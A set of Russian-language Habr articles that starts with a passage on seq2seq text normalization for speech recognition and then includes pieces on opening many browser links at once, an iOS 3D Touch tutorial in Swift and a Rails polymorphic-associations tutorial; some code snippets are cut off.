Не меньше проблем с расшифровкой сокращений: одна и та же аббревиатура может читаться по-разному в зависимости от контекста(`г` — *город* или *год*) и человека(`БЦ` — *б ц* или *бизнес центр*?). Думаю, что творится с транскрипцией других языков, вы уже и сами догадались. Особенно остро проблема стоит с обработкой разговорной речи.
Статистическая модель
---------------------
Во всем этом многоообразии легко потеряться и уйти в бесконечный цикл с поиском и обработкой всё новых и новых кейсов. В какой-то момент лучше остановиться и вспомнить о принципе Парето. Вместо того, чтобы решать задачу в общем виде, мы можем обработать ~20% самых частотных случаев, но покрыть ~80% языка.
В первых релизах Open\_STT мы подошли к решению ещё брутальней: видим число — заменяем его на дефолтное количественное числительное. С точки зрения STT такое решение было даже оправданным, всё-таки `2020 год` лучше превратить в *две тысячи двадцать год* и ошибиться только в одном символе, чем проигнорировать целых три слова.
Постепенно мы подкрутили ещё контекстозависимость. Теперь числительные перед словом `год` становились порядковыми и `2020 год` наконец превратилось в *две тысячи двадцатый*. Так появился наш "ручной" статистический пайплайн — находим наиболее популярные комбинации и добавляем их в набор правил.
Sequence to Sequence модели
---------------------------
В какой-то момент стало понятно, что архитектура sequence-to-sequence (seq2seq) идеально подходит под описание нашей задачи. Действительно, seq2seq умеет делать всё то же самое, что и "ручной" пайплайн, и даже больше:
* Преобразует одну последовательность в другую — чек;
* Учитывает контекст — чек;
* Сам статистически определяет правила, по которым последовательность преобразуется — чек;
> График attention весов для готовой модели на последовательности "5 января". Можно заметить, что для генерации окончания "пятОГО" модель учитывает не только "5", но и последующие символы из слова "января".
В качестве основы мы взяли реализацию модели seq2seq на PyTorch [отсюда](https://bastings.github.io/annotated_encoder_decoder/). Не будем подробно останавливаться на архитектуре — лучше прочитайте исходный пост. На вход подавалась последовательность символов из словаря русских букв + латиница + пунктуация + спец токены, на выходе — только русские буквы + пунктуация.
Очевидный факт — качество модели напрямую зависит от качества данных, на которых она училась. Найти такие данные в достаточном количестве для того же английского языка не составляет труда (более того, гуглятся даже готовые решения с открытым кодом) Но вот с русским пришлось попотеть.
Так, для обучающей выборки мы замиксовали:
* Нормализованные данные из открытых источников — [Russian Text Normalization](https://www.kaggle.com/c/text-normalization-challenge-russian-language/overview);
* Отфильтрованные [данные со случайных веб-сайтов](https://spark-in.me/post/parsing-common-crawl-in-four-simple-commands), прогнанные через наш ручной пайплайн.;
* Парочку аугментаций, чтобы сделать сетку более устойчивой к выбросам — пунктуация и пробелы в рандомных местах, капитализация, длинные числа и т.д.
Тестим TorchScript
------------------
Нашей целью было не только решение задачи, но и тест разных интересных вещей, одним из которых стал Torchscript.
TorchScript — это замечательный инструмент из PyTorch, с помощью которого можно выкатить свою модель далеко за рамки Python и даже встроить в C++.
Если коротко, PyTorch даёт нам на выбор два пути:
1. Хардкорный, с полным погружением в пучину TorchScript языка, со всеми вытекающими последствиями;
2. Готовый инструмент `torch.jit.script` (и `torch.jit.trace`), работающий из коробки.
Как оказалось, для чуть более сложных моделей, чем те, что представлены в [гайде](https://pytorch.org/tutorials/beginner/Intro_to_TorchScript_tutorial.html), придётся переписать пару строк кода. Однако, тут можно обойтись малой кровью: подумать о типизации, переписать неподдерживаемые функции и т.д. Больше подробностей в [посте на канале](https://t.me/snakers4/2418).
Примеры работы
--------------
Как итог, приведу несколько примеров работы уже готового нормализатора. Все предложения взяты из тестового корпуса, то есть во время тренировки модель с ними не встречалась.
* `norm.norm_string("Вторая по численности группа — фарсиваны — от 27 до 38 %.")`
*'Вторая по численности группа — фарсиваны — от двадцати семи до тридцати восьми процентов.'*
* `norm.norm_string("Висенте Каньяс родился 22 октября 1939 года")`
*'Висенте Каньяс родился двадцать второго октября тысяча девятьсот тридцать девятого года'*
* `norm.norm_string("играет песня «The Crying Game»")`
*'играет песня «зэ краинг гейм»'*
* `norm.norm_string("к началу XVIII века")`
*'к началу восемнадцатого века'*
* `norm.norm_string("и в 2012 году составляла 6,6 шекеля")` | https://habr.com/ru/post/491260/ | null | ru | null |
# Несколько рецептов открытия множества ссылок
Если вы любите автоматизировать свою работу и постоянно ищете способы сэкономить 5 минут здесь и 10 минут там, — эта статья расскажет о том, как можно легко открывать много ссылок без лишних затрат (времени и нервных клеток) тем самым повышая свою продуктивность при работе в Интернете.
**Рецепт №1. Ссылки в браузере.**
Самый типичный случай — это поиск в Яндексе / Гугле и т.п. Все современные браузеры при использовании комбинации [Ctrl] + [Левая Кнопка Мыши] открывают ссылку в новом табе. Но от длительной беготни по экрану и щёлканья после сотни-второй кликов часто возникает ощущение лишней напряжённости. Здесь приходят на помощь плагины.
Для Хрома просто и удобно работает [Link Clump](https://chrome.google.com/webstore/detail/linkclump/lfpjkncokllnfokkgpkobnkbkmelfefj):
С той же задачей успешно в Хроме справляется [Snap Links](https://chrome.google.com/webstore/detail/snap-links-lite/idmmhhijggcmbeejedibpdcahpkneegg). Для последей Мозиллы (сегодня это версия 20.\*) ставьте [Snap Links Plus](https://addons.mozilla.org/en-US/firefox/addon/SnapLinksPlus/). [Версия для Оперы](https://addons.opera.com/en/extensions/details/snap-links/) работает немножко по-другому: выделение ссылок происходит не правой кнопкой мыши, — а левой с одновременным нажиманием [Alt] или [Ctrl], в зависимости от индивидуальных настроек.
С тем же эффектом на Мозилле можно работать с [Multi Links](https://addons.mozilla.org/en-US/firefox/addon/multi-links/).
Главное не слишком увлечься, и не отрыть 100 лишних табов. Тогда приходится зажимать [Ctrl] + [W] — и смотреть как быстро ваш браузер умеет «сматывать удочки» закрывая табы и окна. При ошибочном закрытии таба можно вернуть его обратно нажав [Ctrl] + [Shift] + [T] (проверено на Експлорере, Мозилле, Опере, Хроме, не сработало только в Сафари).
Для закрывания, можно также обратиться за помощью к другим плагинам. Например, поставить на Хроме [Close Tabs](https://chrome.google.com/webstore/detail/close-tabs/gadafnnkijfmbbmeielphlapddbmgbgo), с которым просто закрывать все табы слева, все табы справа, всё кроме активной страницы, все табы со страницами с конкретного домена и прочее.
**Рецепт №2. Ссылки в текстовой форме.**
Вам %друг%|%партнёр%|%бот%|%шеф% прислал ссылки по мейлу, или они у вас просто где-то в текстовой форме? Их 200 и все страницы надо посмотреть? Вам даже не хочется думать о часе копи-пейста и чертыханья?
Если здесь кто любитель VB и Excel, можно загнать ссылки в столбик [вот этого шаблона](http://kych.ma./excel/open-bulk-addresses-in-browser-ru.xltm), нажать кнопку пуск, сбегать за кофе или чаем и спокойно приступить к просмотру всех страниц. В закладке «settings» можно самому прописать командную строчку для нужного браузера. Проверено на всех версиях Excel начиная с 2000 и всех версиях Windows начиная с ХР.
200 ссылок за раз может быть и черезчур: всё зависит от мощности компьютера. Я Хромом больше чем 50 пытаюсь не открывать. Просто в Excel разбиваю список на части и запускаю пакетами по 50 ссылок отдельно.
Но когда Excel или шаблон для открытия множества ссылок не под рукой, простейший javascript решит проблему за секунду:
```
for(var i=0;i
```
Опытный %хабраюзер% сразу же создаст форму с textarea и при нажатии кнопки будет брать ссылки построчно и вызывать window.open. Но зачем изобретать велосипед? У [старого доброго brief.ly](http://habrahabr.ru/post/120140/) уже есть хорошая, немножко припрятанная, специальная страница <http://brief.ly?o>:
В отличие от других подобных сервисов, там несколько дополнительных функций. Те же 200 ссылок можно попросить открывать пачками по 20 и забирать со списка уже открытые записи.
Сервис работает на всех браузерах и системах, в том числе и на мобильных и портативных устройствах. Но нужно помнить о некоторых нюансах javascript и window.open. Каждый уважающий себя браузер не станет открывать сразу столько ссылок по одному клику. А вдруг там плохие картинки? Как правило, автоматом сработает защита от всплывающих окон (pop-ups).
Поэтому (и это ВАЖНО), для того чтобы [brief.ly?o](http://brief.ly?o) или другой подобный скрипт нормально работал, надо, один раз, добавить домен brief.ly в списох друзей. Подробную информация о том, в каком меню эту опцию искать, можно [найти здесь](http://name.ly/help/themes/name-ly-frames/enabling-pop-ups/).
Альтернативно, через brief.ly?o можно открыть все ссылки в одном окне, а он в свою очередь попытается открыть их в подтабах через iframes. В этом случае закрывать все ссылки будет очень удобно: одним кликом. Здесь, правда, есть другой нюанс: не все сайты хотят работать в iframes. Хабрахабр, кстати, — один из них. Нелюбовь к iframes была замечена в 5% популярных сайтов. В любом, случае в сборках brief.ly в нулевом табе оглавления внизу под списком ссылок есть кнопка перенести всё в отдельные табы браузера.
Все браузеры, в том числе мобильные, хорошо слушаются и открывают ссылки в табах. Единственное исключение — это Хром, он пока открывает всё окнах, а также мобильная версия Оперы — где пока нет опции отключения блокировки поп-апов.
**Рецепт №3. Ссылки в RSS.**
Если у Вас есть фид, скажем [lenta.ru/rss](http://lenta.ru/rss), можно зайти на [Feed2Tabs](http://feed2tabs.com/) и получить ссылку, которая будет открывать [10 последних новостей](http://apicall.feed2tabs.com/?f=http%3A%2F%2Flenta.ru%2Frss%2F&fn=10&selected=1&title=Lenta.ru%3A+%D0%9D%D0%BE%D0%B2%D0%BE%D1%81%D1%82%D0%B8&description=&toc=%D0%9C%D0%B5%D0%BD%D1%8E&mbgc=ABC&mtc=FDB&mtbgc=888&mstc=ABCDEF&mstbgc=444444). Если в конце такой ссылки добавить "[&open](http://apicall.feed2tabs.com/?f=http%3A%2F%2Flenta.ru%2Frss%2F&fn=10&selected=1&title=Lenta.ru%3A+%D0%9D%D0%BE%D0%B2%D0%BE%D1%81%D1%82%D0%B8&description=&toc=%D0%9C%D0%B5%D0%BD%D1%8E&mbgc=ABC&mtc=FDB&mtbgc=888&mstc=ABCDEF&mstbgc=444444&open)", то сервис при открытии сам предложит открыть все посты в отдельных табах браузера.
Как писалось уже выше, не забудьте разрешить feed2tabs.com открывать всплывающие окна в вашем браузере.
**Рецепт №4 (бонус). Ссылки у вас на сайте.**
Читателям вашего сайта можно предоставить возможность автоматической группировки всех ссылок для дальнейшего их открытия одним кликом. Если сайт у вас на ВордПрес, для этого уже есть отдельный плагин [Links2Tabs](http://habrahabr.ru/post/123750/). Для других движков пример кода был выложен [здесь](http://habrahabr.ru/post/122220/).
С помощью таких ссылок можно легко проверять всё ли работает в тексте на сайте и не боятся что-то упустить.
Буду рад услышать в комментариях хабраобщества о других используемых рецептах. | https://habr.com/ru/post/179003/ | null | ru | null |
# Введение в 3D Touch
С выходом iPhone 6s и iPhone 6s Plus компания Apple представила нам совершенно новый способ взаимодействия с нашими телефонами: жест сильного нажатия. Как вы знаете, эта функция уже доступна на Apple Watch и MacBook и в MacBook Pro под названием Force Touch. Это — буквально — добавило новое понятие к пользовательскому интерфейсу.
Если вы задаетесь вопросом, почему Force Touch было переименовано на 3D Touch для iPhone, тогда вы не одни такой. Вскоре после того, как Крейг Федериги ([Craig Federighi](https://en.wikipedia.org/wiki/Craig_Federighi)), который также был явно озадачен названием, представил эту новую возможность, возникло много догадок. Чем не устроило название Force Touch? Слишком много шуток из Звездных войн?
Но есть разница! Очевидно, что Force Touch может распознать только сильное нажатие, тогда как функция **3D Touch** более чувствительная и может выделить несколько уровней нажатий на основе того, как сильно вы нажимаете.
Хотя изменения могут показаться незначительными, именно они позволяют разработчикам сделать измерения на iPhone более точными. Возьмите это приложение [Gravity](https://medium.com/swlh/turning-the-iphone-6s-into-a-digital-scale-f2197dc2b6e7), например, которое превращает ваш iPhone в цифровые весы с помощью Force Touch. Хотя оно и было отклонено компанией Apple по неясным причинам, идея замечательная. Таким образом, чтобы показать вам, как работает 3D Touch, давайте попробуем сделать похожее приложение!
### Давайте начнем
Для начала [скачайте этот шаблон проекта](https://www.dropbox.com/s/i3xwostpd87rqci/ScaleStarter.zip?dl=0), который я создал. По сути, это просто пустое приложение создание на основе шаблона *Single View iPhone application*. Я создал проект разместил *(UILabels & UIImage)* и подключил *IBOutlets* в *ViewController.swift*.
Дизайн нашего приложения довольно прост: у нас есть один контроллер с 2 метками: одна это заголовок и вторая метка, которая показывает процент силы нажатия на экран iPhone.
Давайте начнем разработку! На iPhone 6s и 6s Plus у объектов UITouch есть два новых свойства типа CGFloat, под названием **force** и **maximumPossibleForce**. Force представляет, то насколько сильным является касание, где 1.0 означает среднее касание. MaximumPossibleForce показывает максимальную силу для касания.
Всякий раз, когда пользователь нажимает на сенсор, вызывается метод touchesBegan, а затем touchesMoved, если пользователь водит своим пальцем по экрану, то тогда вызывается *touchedCancelled* или TouchesEnded в зависимости от ситуации. Для наших целей метод *touchesMoved* является единственным способом, который нам нужен. TouchesMoved имеет два параметра: touches (касания) и event (событие). Касания — набор (неупорядоченный набор различных объектов) объектов UITouch. Для касания должен быть точно один объект UITouch, но мы можем быть не достаточно осторожными, поэтому настоятельно рекомендуется проверить, равен ли touches.first (первый объект UITouch сенсорного набора) nil при помощи дополнительной привязки. Вставьте следующий метод в *ViewController.swift*:
```
override func touchesMoved(touches: Set, withEvent event: UIEvent?) {
if let touch = touches.first {
if #available(iOS 9.0, \*) {
if traitCollection.forceTouchCapability == UIForceTouchCapability.Available {
// 3D Touch capable
}
}
}
}
```
В помощью оператора **if** мы проверяем, поддерживает ли устройство 3D Touch. Эта часть необязательна, если вы делаете этот проект для удовольствия. Однако если вы собираетесь опубликовать приложение в App Store, это является обязательным требованием, выполнение проверки, так как более старые устройства такие как iPhone 6 не поддерживают 3D Touch.
Обратите внимание на то, что я также проверял, запускается ли устройство на iOS 9.0 или более поздних версиях. Я делаю это с помощью нового синтаксиса **#available**, представленного в Swift 2.0. Если Вы хотите узнать больше о новых функциях и возможностях в Swift 2.0, я рекомендую вам прочитать эту статью. Снова эта проверка необязательна, если ваша целевая платформа для приложения 9.0 или выше.
Чтобы получить силу нажатия в процентах, просто разделите силу касания на максимальную силу (т.е. touch.maximumPossibleForce), которая является максимально возможной силой нажатия. Тогда обновите текст метки. Вы можете обновить метод следующим образом:
```
override func touchesMoved(touches: Set, withEvent event: UIEvent?) {
if let touch = touches.first {
if #available(iOS 9.0, \*) {
if traitCollection.forceTouchCapability == UIForceTouchCapability.Available {
// 3D Touch capable
let force = touch.force/touch.maximumPossibleForce
forceLabel.text = "\(force)% force"
}
}
}
}
```
Если запустите приложение на iPhone 6s/6s Plus, оно должно показать силу нажатия в процентах при нажатии на экран. Однако так как мы делаем шкалу, возможно вы захотите добавить количество граммов, которые вы взвешиваете на своем iPhone. Согласно [Райану Маклиду](https://medium.com/swlh/turning-the-iphone-6s-into-a-digital-scale-f2197dc2b6e7), датчик взвесит максимальный веса ~385g. Таким образом **maximumPossibleForce** соответствует 385 граммам (приблизительно 3.8 Ньютона). Путем нехитрых вычислений, вы можете конвертировать % силы в граммы. Все, что нам нужно сделать, это умножить процент силы нажатия на 385. Для объектов весом 385 граммов или больше, мы просто изменяем метку на “385+ grams”.
Теперь обновите метод, используя следующий фрагмент кода:
```
override func touchesMoved(touches: Set, withEvent event: UIEvent?) {
if let touch = touches.first {
if #available(iOS 9.0, \*) {
if traitCollection.forceTouchCapability == UIForceTouchCapability.Available {
if touch.force >= touch.maximumPossibleForce {
forceLabel.text = "385+ grams"
} else {
let force = touch.force/touch.maximumPossibleForce
let grams = force \* 385
let roundGrams = Int(grams)
forceLabel.text = "\(roundGrams) grams"
}
}
}
}
}
```
*Круто! Вы сделали свое Digital Scale приложения.*
На данный момент приложение не сбрасывает вес до нуля после того, как вы убираете предмет или прекращаете касаться вашего экрана. Вы можете реализовать touchesEnded метод, чтобы сбросить метку.
```
override func touchesEnded(touches: Set, withEvent event: UIEvent?) {
forceLabel.text = "0 gram"
}
```
### Быстрые действия на главном экране
Еще одно отличное использование 3D Touch — это быстрые действия на главном экране. Quick Actions дают пользователям меню для перехода к каталогу вашего приложения напрямую. Просто сильно нажмите на значок программы, и вы увидите меню. С появлением технологий 3D Touch, такие приложения как [Twitter](https://itunes.apple.com/ru/app/twitter/id333903271?mt=8) и [Instagram](https://itunes.apple.com/ru/app/instagram/id389801252?mt=8) и некоторые других приложения, показали как используют эту новую функцию.
Давайте добавим Quick Actions для нашего приложение которое мы только что сделали, с помощью которого мы будет открывает приложение с синим фоном вместо белого. Чтобы добавить Quick Actions, откройте файл *info.plist* Вашего проекта (Щелкните по рабочей области Scale в навигаторе проекта, выберите Scale target и перейдите на вкладку Info). В файле добавьте ‘UIApplicationShortcutItems’ тип выберите массив (Array). Каждый элемент массива представляет собой словарь, содержащий свойства одного быстрого действия:
* **UIApplicationShortcutItemType** (*обязательно*): строка, которая идентифицирует быстрое действие. Обратите внимание, что эта строка должна быть уникальной, определенно для приложения. Хорошая идея состоит в том, чтобы добавить префикс с помощью Вашего идентификатора или некоторых других хитростями для того что бы сделать уникальную строку.
* **UIApplicationShortcutItemTitle** (*обязательно*): строка, представляет заголовок для Quick Action который показывается пользователю. Примером может быть “Show last picture taken”.
* **UIApplicationShortcutItemSubtitle** (*необязательно*): строка для названия вашего Quick Action. Примером может быть“Last picture taken yesterday”. Если вы хотите добавить иконку для Quick Action, у вас есть два варианта: системная иконка от Apple или пользовательская иконка.
* **UIApplicationShortcutItemIconType** (*необязательно*): строка, указывающая, какая системная иконка будет отображаться рядом с Quick Action.
* **UIApplicationShortcutItemIconFile** (*необязательно*): строка, указывающая, какая пользовательская иконка будет отображаться рядом с Quick Action.
* **UIApplicationShortcutItemUserInfo** (*необязательно*): словарь, содержащий некоторую дополнительную информацию, которую вы хотите выполнить с помощью Quick Action.
В массиве мы определяем четыре элементов для настройки Quick Action «OpenBlue». Теперь **info.plist** должен выглядеть следующим образом:
*Обратите внимание, что я использовал ‘**$(PRODUCT\_BUNDLE\_IDENTIFIER)**’ вместо ‘**com.appcoda.Scale**’ или любой другой идентификатор, который вы используете. Это в целях безопасности: если, по какой-либо причине, я изменю Bundle ID в ‘General’, то будет затронут весь проект и идентификатор будет изменен везде. В противном случае, мне придется менять его везде вручную. В вашем файле info.plist, вы можете увидеть, что ключ **Bundle Identifier** использует тот же подход: '**$(PRODUCT\_BUNDLE\_IDENTIFIER)**' описывает путь к идентификатору вашего проекта.*
Последнее, что осталось сделать, это реализовать Quick action, когда пользователь запускает его. Главная работа обрабатываются в *AppDelegate.swift* в методе *performActionForShortcutItem*. Когда Quick Action активируется, вызовется метод. Поэтому вы должны реализовывать этот метод для обработки быстрых действий:
```
func application(application: UIApplication, performActionForShortcutItem shortcutItem: UIApplicationShortcutItem, completionHandler: (Bool) -> Void) {
// Handle quick actions
completionHandler(handleQuickAction(shortcutItem))
}
```
Как ожидается, вызовите обработчик и передадите в него нулевое значение, в зависимости от успеха/отказа быстрого действия. Здесь мы создаем отдельную функцию *handleQuickAction*, чтобы обработать действие. Отличным способом для представления нескольких случаев Quick Action является использование перечислений с помощью ‘*UIApplicationShortcutItemType*’ в качестве необработанного значения. Объявите перечисление и реализуйте метод *handleQuickAction*, как показано ниже, чтобы задать цвет фона синим, когда приложение будет запущено посредством быстрого действия:
```
enum Shortcut: String {
case openBlue = "OpenBlue"
}
func handleQuickAction(shortcutItem: UIApplicationShortcutItem) -> Bool {
var quickActionHandled = false
let type = shortcutItem.type.componentsSeparatedByString(".").last!
if let shortcutType = Shortcut.init(rawValue: type) {
switch shortcutType {
case .openBlue:
self.window?.backgroundColor = UIColor(red: 151.0/255.0, green: 187.0/255.0, blue: 255.0/255.0, alpha: 1.0)
quickActionHandled = true
}
}
return quickActionHandled
}
```
Это довольно просто. Если вы теперь запустите приложение и запустите его через быстрые действия, фон станет синим.
### О чем же нужно не забыть?
Есть один моментом, который следует учитывать. С точки зрения последовательности запуска есть различие между приложением, которое запускается, и приложением, которое возобновляется с помощью Quick Action. Так как Вы знаете, когда приложение запускается, вызываются методы *willFinishLaunchingWithOptions* затем метод *anddidFinishLaunchingWithOptions*. Но когда приложение возобновляется путем Quick Actions, то он лишь провоцирует выполнение метода *performActionForShortcutItem*.
Если Вы посмотрите на метод didFinishLaunchingWithOptions, то вы увидите, что у нас есть строка кода, чтобы установить цвет фона белым. Он используется, когда приложение запускается обычно, через иконку приложения.
```
func application(application: UIApplication, didFinishLaunchingWithOptions launchOptions:
[NSObject: AnyObject]?) -> Bool {
// Override point for customization after application launch.
self.window?.backgroundColor = UIColor.whiteColor()
return true
}
```
Вот откуда исходит проблема: при запуске приложения с помощью быстрое действие, вызываются *willFinish*, *didFinish*, а затем *performActionForShortcutItem*. Поэтому сначала устанавливается белый цвет фона, а затем меняется на синий. Очевидно, Вы не хотите устанавливать цвет фона белым, когда пользователь запускает приложение с помощью быстрых действий.
Чтобы решить эту проблему, мы должны осуществить проверку в методе *didFinishLaunchingWithOptions*:
```
func application(application: UIApplication, didFinishLaunchingWithOptions launchOptions:
[NSObject: AnyObject]?) -> Bool {
print("didFinishLaunchingWithOptions called")
var isLaunchedFromQuickAction = false
// Check if it's launched from Quick Action
if let shortcutItem = launchOptions?[UIApplicationLaunchOptionsShortcutItemKey] as? UIApplicationShortcutItem {
isLaunchedFromQuickAction = true
// Handle the sortcutItem
handleQuickAction(shortcutItem)
} else {
self.window?.backgroundColor = UIColor.whiteColor()
}
// Return false if the app was launched from a shortcut, so performAction... will not be called.
return !isLaunchedFromQuickAction
}
```
Чтобы определить, запущено ли приложение посредством Quick Action, Вы можете проверить функциональную клавишу запуска *UIApplicationLaunchOptionsShortcutItemKey*. Объект *UIApplicationShortcutItem* доступен как значение функциональной клавиши запуска. Если приложение запущено путем Quick Action, мы просто вызываем *handleQuickAction*, чтобы изменить фон на синий.
Поскольку мы уже обработали быстрое действие в *didFinishLaunchingWithOptions*, мы не хотим вызывать *performActionForShortcutItem*, чтобы выполнить *handleQuickAction* снова. Потому мы возвращаем значение false, сообщая системе не вызывать метод performActionForShortcutItem.
Вот и все! Вы можете теперь протестировать приложение. Quick Action должно работать отлично.
### Итог
**3D Touch** — отличный способ добавления удобных и приятных функций к Вашему приложению. Однако Вы должны знать, что не все устройства поддерживают 3D Touch, хотя это может измениться в будущем.
После прочтения этой статьи вы сможете добавлять Quick Actions к вашему iOS приложению и определять силу касания.
Для сравнения вы можете [загрузить полный проект Xcode](https://www.dropbox.com/s/yf8nkupi9yt01hk/ScaleFinal.zip?dl=0). Не забудьте поделиться мыслями в комментариях об этом руководстве и 3D Touch. | https://habr.com/ru/post/271291/ | null | ru | null |
# Полиморфные связи
На днях в блоге [Ruby on Rails](http://habrahabr.ru/blogs/ror/) появилась [статья](http://habrahabr.ru/blogs/ror/79389/) о полиморфных связях, в которой автор писал всякие разные вещи, но при этом забыл упоминуть, как их использовать и зачем они нужны (потом, конечно же, исправился, но все равно написал достаточно поверхностно).
Поначалу я даже испугался, что это моя статья каким-то непостижимым образом вырвалась из «черновиков» и попала в общую ленту. Потом разобрался, собрался с мыслями, и решил таки дописать свою.
Что же такое полиморфные связи и для чего они нужны? В [одном из](http://railscasts.com/episodes/154-polymorphic-association) своих [скринкастов](http://railscasts.com) Ryan Bates уже рассказывал об этом, и я ни в коем случае не хочу рассказывать то же самое. Ситуация была следующей:
> у нас есть модели **Статьи**, **Фотографии** и **События**. А еще есть модель **Комментарии**. А еще очень хочется все комментарии (комментарии статей, фотографий и событий) хранить в одной таблице.
Статей по этой проблеме в интернете очень много, но бывают и случаи «наоборот». Далеко ходить не нужно, давайте попробуем разработать функционал постов Хабрахабра!
Здесь мы можем писать статьи, при этом сами статьи могут быть разных типов: Топик, Ссылка, Вопрос, Подкаст, Перевод и Вакансия. Но согласитесь, было бы довольно глупо создавать шесть отдельных таблиц, содержащих практически одинаковые поля: заголовок, дата создания/изменения, разного рода сео-информация, теги, статус (опубликовано/нет) и обязательно что-нибудь еще.
*Хотел расписать все «для самых маленьких», но примерно в середине статьи понял, что как-то много получается (да и пользуются полиморфными связями, в основном, далеко не новички). И да, совсем забыл: давайте немного урежем наш функционал и будем проектировать связи из расчета 3 моделей: Топик, Ссылка и Подкаст (а то уж больно много кода получится, а делается все аналогично.*
Итак, поехали!
Создадим 4 модели: Post, Topic, Link и Podcast. Непонятная модель Post как раз и будет «родительской» для остальных и, собственно, будет содержать все ~~ненужные~~ общие поля.
> `bash-3.2$ script/generate model post title:string published:boolean content_id:integer content_type:string
>
> bash-3.2$ script/generate model topic body:text
>
> bash-3.2$ script/generate model podcast link:string description:text
>
> bash-3.2$ script/generate model link link:string description:text`
~~Как видите, ссылки и подкасты имеют одинаковые поля, давайте сделаем еще одну полиморфную связь :)~~
При создании миграции Post мы указали общие поля для всех остальных таблиц (в данном случае это заголовок (title), статус статьи (published) и дату создания/изменения(они дописались автоматически)). Кроме того, есть 2 поля, в которых будут храниться идентификатор элемента (content\_id) и модель, которой принадлежит данный элемент (content\_type; мы разберемся с этим чуть позже).
Миграцию модели Post трогать больше не будем, а вот во всех остальных миграциях удалим эту строку:
> `t.timestamps`
Ведь поля created\_at и updated\_at (которые генерирует хелпер timestamps) теперь одни на всех — в таблице posts.
Делаем rake db:migrate и… и остается последний штрих: добавляем связи моделям.
> `# app/models/post.rb
> class Post < ActiveRecord::Base
> belongs\_to :content, :polymorphic => true, :dependent => :destroy
> end
>
> # app/models/topic.rb
> class Topic < ActiveRecord::Base
> has\_one :post, :as => :content, :dependent => :destroy
> end
>
> # app/models/link.rb
> class Link < ActiveRecord::Base
> has\_one :post, :as => :content, :dependent => :destroy
> end
>
> # app/models/podcast.rb
> class Podcast < ActiveRecord::Base
> has\_one :post, :as => :content, :dependent => :destroy
> end`
Вместо того, чтобы в модели Post писать «has\_many :links (:topics, :podcasts)», мы говорим, что Post крепко-накрепко связан ~~семейными узами~~ полиморфной связью с неким :content, при этом теперь любая модель, в которой мы напишем
> `:has_one :post, :as => content`
станет дочерней для нашего Post'a. Что мы, собственно, и проделали выше.
Теперь мы полностью готовы перейти в консоль и возрадоваться:)
> `bash-3.2$ script/console
>
> >> t = Topic.new(:body => "Just one more test topic body here")
>
> >> t.save
>
> >> p = Post.new(:title => "Some test title", :published => true, :content => t)
>
> >> p.save`
Создали новый топик (указав только тело), сохранили, создали новый пост (указав заголовок, статус и сам контент (можно было написать и :content\_id => t.id, :content\_type => t.class (как бы подразумевая при этом еще и .to\_s)).
Вне всякого сомнения, чтобы поле content\_type сразу заполнялось значением, мы можем написать так:
> `>> Post.topics.new
>
> => #`
Попробуем просмотреть все топики:
> `>> Post.find_all_by_content_type("Topic")`
Согласен, неудобно; давайте добавим немного named\_scope'ов в модель Post:
> `named\_scope :topics, :conditions => { :content\_type => "Topic" }
> named\_scope :links, :conditions => { :content\_type => "Link" }
> named\_scope :podcasts, :conditions => { :content\_type => "Podcast" }`
Заходим опять в консоль, делаем reload! и осматриваемся:
> `>> Post.topics
>
> >> Post.links
>
> >> Post.podcasts`
Теперь нужно понять, как получать доступ ко всем свойствам наших постов.
> `>> p.body
>
> NoMethodError: undefined method `body' for #
>
> >> t.title
>
> NoMethodError: undefined method `title' for #`
Оказывается, что не так:) Попробуем что-нибудь вроде этого:
> `>> p.content.body
>
> => "Just one more test topic body here"
>
> >> t.post.title
>
> => "Some test title"`
Поигрались и хватит, пора делать контроллеры (а там и до представления недалеко). Выходим из рельсо-консоли, нас ждет обычная:)
> `bash-3.2$ script/generate controller posts index
>
> bash-3.2$ script/generate controller posts/topics index show
>
> bash-3.2$ script/generate controller posts/podcasts index show
>
> bash-3.2$ script/generate controller posts/links index show
>
> bash-3.2$ script/generate controller home index`
Дальше идем в config/routes.rb и приводим его в такой вид:
> `ActionController::Routing::Routes.draw do |map|
> map.root :controller => 'home'
>
> map.namespace(:posts) do |post|
> post.resources :topics, :links, :podcasts
> end
> map.resources :posts
>
> map.connect ':controller/:action/:id'
> map.connect ':controller/:action/:id.:format'
> end`
> А теперь запустим сервер и посмотрим, что у нас получилось:`bash-3.2$ script/server`
А получилось у нас вот что:
> `/posts (здесь будет список всех постов)
>
> /posts/topics (здесь — только посты–топики)
>
> /posts/links (а тут — только посты–ссылки)
>
> /posts/podcasts (и вы никогда не угадаете, что же будет тут ;)`
Само собой, доступен весь REST, в нем можно даже не сомневаться ;)
Теперь заполним кодом контроллеры:
> `# app/controllers/posts\_controller.rb
> class PostsController < ApplicationController
> def index
> @posts = Post.find(:all)
> end
> end
>
> # app/controllers/posts/topics\_controller.rb
> class Posts::TopicsController < ApplicationController
> def index
> @posts = Post.topics.find(:all)
> end
>
> def show
> @post = Post.topics.find(params[:id])
> end
> end
>
> # app/controllers/posts/links\_controller.rb
> class Posts::LinksController < ApplicationController
> def index
> @posts = Post.links.find(:all)
> end
>
> def show
> @post = Post.links.find(params[:id])
> end
> end
>
> # app/controllers/posts/podcasts\_controller.rb
> class Posts::PodcastsController < ApplicationController
> def index
> @posts = Post.podcasts.find(:all)
> end
>
> def show
> @post = Post.podcasts.find(params[:id])
> end
> end`
В posts\_controller пока что заполним только index, show там не нужен. В остальных заполняем и index (там, как видно, будут отображаться только «нужные» посты), и show (а здесь будет отображаться сама статья/ссылка/подкаст). Думаю, тут можно обойтись без пояснений, весь этот код мы уже писали в консоли.
Сразу перейдем к представлениям, и первое — posts#index:
> `<% @posts.each do |post| %>
> <%= link\_to post.content.class.**to\_s**.pluralize, "/posts/#{post.content.class.to\_s.downcase.pluralize}" %> →
> <%= link\_to post.title, "/posts/#{post.content.class.to\_s.downcase.pluralize}/#{post.id}" %>
>
> <% end %>`
Сначала я написал именно так, потому что городить в представлении тонны if'ов — еще хуже (имхо). Потом мне стало стыдно, что на Хабре люди увидят такой ужас, и решил сделать этот ужас чуть менее ужасным. Итак, открываем app/helpers/posts\_helper.rb и пишем в него что-нибудь вроде
> `module PostsHelper
> def posts\_smth\_path(post)
> case post.content.class.**to\_s**.downcase
> when "topic" : posts\_topic\_path(post)
> when "link" : posts\_link\_path(post)
> when "podcast" : posts\_podcast\_path(post)
> end
> end
>
> def posts\_smths\_path(post)
> case post.content.class.**to\_s**.downcase
> when "topic" : posts\_topics\_path
> when "link" : posts\_links\_path
> when "podcast" : posts\_podcasts\_path
> end
> end
> end`
